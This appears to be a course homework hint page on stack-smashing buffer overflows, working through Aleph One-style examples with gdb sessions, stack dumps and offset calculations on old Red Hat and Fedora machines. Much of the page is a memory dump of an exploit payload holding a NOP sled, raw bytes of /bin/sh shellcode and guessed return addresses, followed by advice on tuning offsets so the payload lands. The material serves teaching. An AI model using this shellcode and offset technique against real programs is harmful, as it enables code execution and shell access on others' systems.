Hints for hw3 on smashing stack
bottom of                                                            top of

memory                                                               memory

           buffer2       buffer1   sfp      ret        a     b     c

<------   [            ][        ][    ]   [    ]     [    ][    ][    ]

top of                                                            bottom of

stack                                                                 stack

                      =:0xbffff
addr               0xbffffa70           =a80              =a98           =a9c            =aa0    =aa4    =aa8
content                                                    0xbffffab8 0x0804844c         1         2           3
esp 0xbffffa70

ebp 0xbffffa98

[chow@rh72 bufferOverflow]$ gdb example1

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) 

Working directory /home/chow/bufferOverflow.

(gdb) break example1.c:9

Breakpoint 1 at 0x804843e: file example1.c, line 9.

(gdb) run

Starting program: /home/chow/bufferOverflow/example1 

Breakpoint 1, main () at example1.c:9

9          function(1,2,3);

(gdb) info frame

Stack level 0, frame at 0xbffffab8:

 eip = 0x804843e in main (example1.c:9); saved eip 0x4003e507

 called by frame at 0xbffffaf8

 source language c.

 Arglist at 0xbffffab8, args: 

 Locals at 0xbffffab8, Previous frame's sp is 0x0

 Saved registers:

  ebp at 0xbffffab8, eip at 0xbffffabc

(gdb) bt  

#0  main () at example1.c:9

#1  0x4003e507 in __libc_start_main (main=0x8048438 <main>, argc=1, 

    ubp_av=0xbffffb24, init=0x80482bc <_init>, fini=0x80484a0 <_fini>, 

    rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffb1c)

    at ../sysdeps/generic/libc-start.c:129

(gdb) info frame 1

Stack frame at 0xbffffaf8:

 eip = 0x4003e507 in __libc_start_main (../sysdeps/generic/libc-start.c:129); 

    saved eip 0x8048351

 caller of frame at 0xbffffab8

 source language c.

 Arglist at 0xbffffaf8, args: main=0x8048438 <main>, argc=1, 

    ubp_av=0xbffffb24, init=0x80482bc <_init>, fini=0x80484a0 <_fini>, 

    rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffb1c

 Locals at 0xbffffaf8, Previous frame's sp is 0x0

 Saved registers:

  ebx at 0xbffffaec, ebp at 0xbffffaf8, esi at 0xbffffaf0, edi at 0xbffffaf4,

  eip at 0xbffffafc

(gdb)

(gdb) help x

Examine memory: x/FMT ADDRESS.

ADDRESS is an expression for the memory address to examine.

FMT is a repeat count followed by a format letter and a size letter.

Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),

  t(binary), f(float), a(address), i(instruction), c(char) and s(string).

Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

The specified number of objects of the specified size are printed

according to the format.

Defaults for format and size letters are those previously used.

Default count is 1.  Default address is following last thing printed

with this command or "print".

We will use “x/32b 0x8048430” to display the 32 bytes of instructions

We will use “x/40w 0xbffffa70” to display the 40 words (4Bytes/word) of stack area.
(gdb) disassemble function

Dump of assembler code for function function:

0x8048430 <function>:   push   %ebp

0x8048431 <function+1>: mov    %esp,%ebp

0x8048433 <function+3>: sub    $0x28,%esp

0x8048436 <function+6>: leave  

0x8048437 <function+7>: ret    

End of assembler dump.

(gdb) disassemble main

Dump of assembler code for function main:

0x8048438 <main>:       push   %ebp

0x8048439 <main+1>:     mov    %esp,%ebp

0x804843b <main+3>:     sub    $0x8,%esp

0x804843e <main+6>:     sub    $0x4,%esp

0x8048441 <main+9>:     push   $0x3

0x8048443 <main+11>:    push   $0x2

0x8048445 <main+13>:    push   $0x1

0x8048447 <main+15>:    call   0x8048430 <function>

0x804844c <main+20>:    add    $0x10,%esp   ; return address
0x804844f <main+23>:    leave  

0x8048450 <main+24>:    ret    

End of assembler dump.

Here is the instruction coding. Bytes with green background are opcode. 

(gdb) x/32b 0x8048430

0x8048430 <function>:   0x55    0x89    0xe5    0x83    0xec    0x28    0xc9    0xc3
0x8048438 <main>:       0x55    0x89    0xe5    0x83    0xec    0x08    0x83    0xec

0x8048440 <main+8>:     0x04    0x6a    0x03    0x6a    0x02    0x6a    0x01    0xe8
0x8048448 <main+16>:    0xe4    0xff    0xff    0xff    0x83    0xc4    0x10    0xc9
(gdb)

Here we display the stack area. 

SFP: Stack Frame Pointer.
RET: return program counter
(gdb) x/40w 0xbffffa70

0xbffffa70:     0xbffffab0      0x4000d2b6      0x080494f8      0x0804822a

0xbffffa80:     0x4002d164      0x40158154      0x400168e4      0x4013d12e

0xbffffa90:     0xbffffac8      0x4000d450      0xbffffab8      0x0804844c
0xbffffaa0:     0x00000001      0x00000002      0x00000003      0x08048411

0xbffffab0:     0x080494d8      0x080495d4      0xbffffaf8      0x4003e507
0xbffffac0:     0x00000001      0xbffffb24      0xbffffb2c      0x080482d2

0xbffffad0:     0x080484a0      0x00000000      0xbffffaf8      0x4003e4f1

0xbffffae0:     0x00000000      0xbffffb2c      0x40156c3c      0x40016300

0xbffffaf0:     0x00000001      0x08048330      0x00000000      0x08048351
0xbffffb00:     0x08048438      0x00000001      0xbffffb24      0x080482bc

(gdb) info reg eip

eip            0x8048436        0x8048436
(gdb) p &buffer1

$1 = (char (*)[5]) 0xbffffa80

(gdb) p &buffer2

$2 = (char (*)[10]) 0xbffffa70
Differences of example1 memory mapping between rh72 and that used aleph one.

Note that the compiler on rh72 allocates buffer1 at Oxbfffa80S. Not at 
5 bytes right below SFP was saved (0xbffffa98).  Instead of allocating 5 bytes right under 0xbffffa9, which is 0xbffffa3, we know buffer1 was allocated starting at 0xbffffa80 as indicated by “p &buffer1” command. For rh72, the distance between buffer1 and SFP is 24 bytes. There is a 19 bytes gap between buffer1 and SFP. What do you think the reason for this?
For example3, 

[chow@rh72 bufferOverflow]$ vi example3.c

#include <stdio.h>

void function(int a, int b, int c) {

   char buffer1[5];

   char buffer2[10];

   int *ret;

   ret = buffer1 + 12;

   (*ret) += 8;

}

void main() {

   int x;

   x=0;

   function(1,2,3);

   x=1;

   printf("%d\n", x);

}
Let us recompiled with –g option for debugging. 

[chow@rh72 bufferOverflow]$ gcc -g -o example3 example3.c

example3.c: In function `function':

example3.c:8: warning: assignment from incompatible pointer type

example3.c: In function `main':

example3.c:12: warning: return type of `main' is not `int'

[chow@rh72 bufferOverflow]$ gdb example3

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break example3.c:9

Breakpoint 1 at 0x804846f: file example3.c, line 9.

(gdb) run

Starting program: /home/chow/bufferOverflow/example3 

Breakpoint 1, function (a=1, b=2, c=3) at example3.c:9

9          (*ret) += 8;

(gdb) info frame 0

Stack frame at 0xbffffab8:

 eip = 0x804846f in function (example3.c:9); saved eip 0x804849b

 called by frame at 0xbffffad8

 source language c.

 Arglist at 0xbffffab8, args: a=1, b=2, c=3

 Locals at 0xbffffab8, Previous frame's sp is 0x0

 Saved registers:

  ebp at 0xbffffab8, eip at 0xbffffabc

(gdb) p &ret

$1 = (int **) 0xbffffa8c
(gdb) p &buffer1

$2 = (char (*)[5]) 0xbffffaa0

After ret=buffer1+12

int *ret contain 0xbffffaac
(gdb) x/20w 0xbffffa80

0xbffffa80:     0x00000001      0x00000000      0x40021000      0xbffffaac
0xbffffa90:     0xbffffad0      0x4000d2b6      0x0804955c      0x08048245

0xbffffaa0:     0x4002d164      0x40158154      0x400168e4      0x4013d12e

0xbffffab0:     0xbffffae8      0x4000d450      0xbffffad8      0x0804849b
0xbffffac0:     0x00000001      0x00000002      0x00000003      0x08048441

 (gdb)
Note that because there is a gap between buffer1 and SFP.  The ret contains an address point to 0xbffffaac instead of 0xbffffabc.  Therefore (*ret) += 8 does not increase the return program counter value by 8.
The following example on rh72 shows after modifying 

ret=buffer1+12 

with

ret=buffer1+28;  

We did see the effect of skipping x=1 statement.   However, 

[chow@rh72 bufferOverflow]$ gdb example3b

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break example3b.c:9

Breakpoint 1 at 0x804846f: file example3b.c, line 9.

(gdb) run 

Starting program: /home/chow/bufferOverflow/example3b 

Breakpoint 1, function (a=1, b=2, c=3) at example3b.c:9

warning: Source file is more recent than executable.

9          (*ret) += 8;

(gdb) n

10      }

(gdb) n

main () at example3b.c:18

18         printf("%d\n", x);

(gdb) n

0

19      }

(gdb) p x

$1 = 0

(gdb)
Note that if we just execute example3b without using gdb to step through instructions in function, we will get a segmentation fault.  An interesting phenomenon deserves further explanation.

[chow@rh72 bufferOverflow]$ ./example3b

Segmentation fault
For exercise 2.1 on an fc4 machine, 
such as 128.198.60.186, we need to examine how the gcc compiler allocates the local variables in stack and see the distance between the location of buffer1 and RET in stack.  

· First modify example3a.c with an offset you think will by-pass x=1, or just leave it as ret=buffer1+12; 

· Compile example3a.c with “gcc –g –o example3a example3a.c”. 

· As that demonstrated on rh72 on example3b, run “gdb example3a”
· Set break point inside function example3a.c line 9 (*ret) +=8;  with “break example3a.c:9”

· Use “info frame 0” to see the stack pointer and eip saved value.  So that we locate the addresses where SFP and RET is saved. 

· Use “p &buffer1” “p &buffer2” and “p &ret” to find out the address to memory allocated for these three local variables. You may find that ret is allocated first, followed by buffer1, then buffer2 (lowest memory address). For example, &buffer2 is 0xbfc6bde9 
· Use “x/40w <location>” to display the stack memory content. Here <location> is 0xbfc6bde0 a few bytes lower than that for buffer2.
· You will see the reported stack frame value point to that first parameter instead of the SFP. 

· You can identify the RET address by examining which 4 bytes has the same content of save eip or the one before the stack frame address.
· By calculating the address of buffer1 and that of RET, you can set the right offset for ret=buffer1+offset
· Modify the example3a.c with the new offset, recompile it with “gcc –g –o example3a example3a.c”

· See if you get the following:

[chow@fc4 bufferOverflow]$ ./example3a
0
[chow@fc4 bufferOverflow]$ ./example3

1
· Note that fc4 has the local variable allocation pattern similar to that used by Aleph one.

Content generated by exploit3 for $EGG environment variable will 
[chow@rh72 bufferOverflow]$ gcc -g -o exploit3 exploit3.c

exploit3.c: In function `main':

exploit3.c:16: warning: return type of `main' is not `int'

[chow@rh72 bufferOverflow]$ gdb exploit3

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break exploit3.c:48

Breakpoint 1 at 0x804877b: file exploit3.c, line 48.

(gdb) run

Starting program: /home/chow/bufferOverflow/exploit3 

Using address: 0xbffffaa8

Breakpoint 1, main (argc=1, argv=0xbffffb44) at exploit3.c:48

48        putenv(buff);

(gdb) p buff

$1 = 0x8049a00 "EGG=", '\220' <repeats 196 times>...

(gdb) x/160w 0x8049a00 

0x8049a00:      0x3d474745      0x90909090      0x90909090      0x90909090     NOP instructions
0x8049a10:      0x90909090      0x90909090      0x90909090      0x90909090     Area
0x8049a20:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a30:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a40:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a50:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a60:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a70:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a80:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049a90:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049aa0:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049ab0:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049ac0:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049ad0:      0x90909090      0x90909090      0x90909090      0x90909090

0x8049ae0:      0x90909090      0x90909090      0x1feb9090      0x0876895e    Shellcode 46 bytes
0x8049af0:      0x4688c031      0x0c468907      0xf3890bb0      0x8d084e8d

0x8049b00:      0x80cd0c56      0xd889db31      0xe880cd40      0xffffffdc

0x8049b10:      0x6e69622f      0xbf68732f      0xbffffaa8      0xbffffaa8    These are sp-offset
0x8049b20:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8    we guess this value
0x8049b30:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8    will point to the NOP
0x8049b40:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8    area when vulnerable
0x8049b50:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8    program executes strcpy
0x8049b60:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

---Type <return> to continue, or q <return> to quit---

0x8049b70:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049b80:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049b90:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049ba0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049bb0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049bc0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049bd0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049be0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0xbffffaa8

0x8049bf0:      0xbffffaa8      0xbffffaa8      0xbffffaa8      0x00fffaa8

0x8049c00:      0x00000000      0x00000401      0x00000000      0x00000000

0x8049c10:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c20:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c30:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c40:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c50:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c60:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049c70:      0x00000000      0x00000000      0x00000000      0x00000000
The last two statements

putenv(buff);

system("/bin/bash");
setup the environment variable $EGG to the above exploit content that will be read by the vulnerable program.  Note that the last statement creates a shell for running the vulnerable program. That has the effect of create a stack area and low the address value of stack pointer for the vulnerable program.
Why we get segmentation fault, illegal instruction, or no shell created when using exploit3?

Nop: Nop instruction 0x90

SPo: SP – Offset.  Guess by exploit3. Note that SP is stack point register value when exploit is run.

                   It is not necessary when vulnerable is run. 


Ideal:            Nop Nop Nop……………Nop……Shellcode SPo SPo……… SPo  SPo   SPoSPo……
Segmentation fault: 

                  Nop Nop Nop……………Nop……………Shellcode SPo SPo……… SPo SPo  SPoSPo……

                  The 4 byte RET happens to be filled with values that is not the starting byte of SPo.
                  For example if SPo is 0xbffffab8.  RET could get 0xfab8bfff intead of 0bffffab8.

                  0xfab8bfff is kernel space, definitely cause a segment fault. 

                  Make sure to use offset that is multiple of 4. Shellcode 

Illegal instruction: 

                 Nop Nop Nop……………Nop……Shellcode SPo SPo……… SPo  SPo   SPoSPo……

                 Unfortunately, instead of pointing to the first byte of an instruction (opcode), 

                 SPo is pointed to the operand of an instruction, whose value happens 

                 not an legal opcode. Note that instructions have different byte sizes (1-8?)

[chow@rh72 bufferOverflow]$ ./exploit3 612

Using address: 0xbffffab8

[chow@rh72 bufferOverflow]$ ./exploit3 612

Using address: 0xbffff868
See the SP value changed at different runs (without exit at the end).  Additional stack area used by /usr/bash.  

For Q1.2, 

you can use assembler to assemble the instruction movl $0xb, %eax  

Nst The other way is to copy exploit3.c as exp3.c and add the following function

unsigned long get_movl(void) {

   __asm__("movl $0xb, %eax");

}
Then compile it “gcc –g –o exp3 exp3.c” and the debug with “gdb exp3”. 

(gdb) disassemble get_movl

Dump of assembler code for function get_movl:

0x80485d8 <get_movl>:   push   %ebp

0x80485d9 <get_movl+1>: mov    %esp,%ebp

0x80485db <get_movl+3>: mov    $0xb,%eax

0x80485e0 <get_movl+8>: pop    %ebp

0x80485e1 <get_movl+9>: ret    

End of assembler dump.

(gdb) x/5b 0x80485db
It will display the content of the five byte instruction.
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